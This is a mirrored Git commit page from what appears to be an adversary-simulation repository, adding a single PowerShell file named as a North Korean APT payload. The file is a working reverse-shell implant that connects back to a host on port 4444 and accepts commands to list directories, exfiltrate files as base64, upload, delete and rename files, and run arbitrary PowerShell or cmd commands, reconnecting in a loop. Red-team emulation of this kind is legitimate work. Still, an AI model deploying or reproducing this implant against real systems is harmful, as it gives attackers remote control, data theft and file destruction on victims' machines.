External/APTs-Adversary-Simulation
1
0
Fork 0
mirror of https://github.com/S3N4T0R-0X0/APTs-Adversary-Simulation.git synced 2026-08-04 09:41:40 +02:00
Code Issues Packages Projects Releases Wiki Activity

Add files via upload

Browse Source
This commit is contained in:
S3N4T0R
2026-06-29 15:24:17 +03:00
committed by GitHub
parent f5680123d3
commit 57c7d82488
1 changed files with 1 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files
North Koreans APT/Velvet Chollima/payload.ps1
+1
View File
@@ -0,0 +1 @@
$ip="192.168.1.12";$port=4444;$AUTH_ID="0683770e-e65b-45c8-a31c-9a1b9b1825d8";function Send-Data($c,$b){$l=[BitConverter]::GetBytes([Net.IPAddress]::HostToNetworkOrder($b.Length));$c.GetStream().Write($l,0,4);$c.GetStream().Write($b,0,$b.Length)};function Receive-All($c,$n){$s=$c.GetStream();$b=New-Object byte[] $n;$r=0;while($r-lt$n){$x=$s.Read($b,$r,$n-$r);if(!$x){throw}$r+=$x}$b};function Execute-Command($c){try{$c=$c.Trim();if($c -eq "ping"){return "pong`n"}if($c-like"browse:*"){$p=$c.Substring(7).Trim();if(!$p){$p=(Get-Location).Path}try{$i=@();if(Test-Path $p){Get-ChildItem $p -Force|%{$i+=@{name=$_.Name;type=('directory','file')[$_-isnot[IO.DirectoryInfo]];size=if($_-is[IO.FileInfo]){$_.Length}else{0};modified_time=$_.LastWriteTime.ToString('yyyy-MM-dd HH:mm:ss')}}}$j=@{success=$true;current_path=$p;parent_path=(Split-Path $p -Parent);items=($i|Sort{$_.type-ne'directory'},{$_.name.ToLower()})}}catch{$j=@{success=$false;error="$($_.Exception.Message)";current_path=$p;parent_path=$null;items=@()}}return"browse-data-"+[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes(($j|ConvertTo-Json -Compress)))+"`n"}if($c-like"download-file:*"){$f=$c.Substring(14).Trim();if(Test-Path $f){$d=[IO.File]::ReadAllBytes($f);return"file-data:$([IO.Path]::GetFileName($f))|$($d.Length)|$([Convert]::ToBase64String($d))`n"}return"ERROR: File not found: $f`n"}if($c-like"upload-file:*"){$p=$c.Substring(12).Split('|',2);if($p.Count-eq2){$d=[Convert]::FromBase64String($p[1]);$dir=[IO.Path]::GetDirectoryName($p[0]);if($dir-and!(Test-Path $dir)){New-Item -ItemType Directory -Path $dir -Force|Out-Null}[IO.File]::WriteAllBytes($p[0],$d);return"SUCCESS: File uploaded to $($p[0])`n"}return"ERROR: Invalid upload format`n"}if($c-like"delete-file:*"){$f=$c.Substring(12).Trim();if(Test-Path $f){Remove-Item $f -Force -Recurse;return"SUCCESS: Deleted $f`n"}return"ERROR: File not found`n"}if($c-like"rename-file:*"){$p=$c.Substring(12).Split('|',2);if($p.Count-eq2){Rename-Item $p[0] $p[1] -Force;return"SUCCESS: Renamed to $($p[1])`n"}return"ERROR: Invalid rename format`n"}if($c.ToUpper()-like"EP*"){$ps=$c;if($ps[0]-eq'e'){$ps=$ps.Substring(2)}else{$ps=$ps.Substring(3)};$r=try{Invoke-Expression $ps.Trim() 2>&1|Out-String}catch{"[-] PowerShell error: $_`n"};if([string]::IsNullOrEmpty($r.Trim())){$r="`n"}return $r}$r=try{Invoke-Expression "cmd /c $c" 2>&1|Out-String}catch{"[-] CMD error: $_`n"};if([string]::IsNullOrEmpty($r.Trim())){$r="`n"}return $r}catch{"Error: $_`n"}};function Connect(){while($true){try{$s=New-Object Net.Sockets.TcpClient;$s.Connect($ip,$port);return $s}catch{Start-Sleep 5}}};$s=Connect;Send-Data $s ([Text.Encoding]::UTF8.GetBytes($AUTH_ID));while($true){try{$l=[Net.IPAddress]::NetworkToHostOrder([BitConverter]::ToInt32((Receive-All $s 4),0));if($l){$r=Execute-Command ([Text.Encoding]::UTF8.GetString((Receive-All $s $l)).Trim());$b=[Text.Encoding]::UTF8.GetBytes(($r,"`n")[!$r]);Send-Data $s $b}}catch{break}};try{$s.Close()}catch{}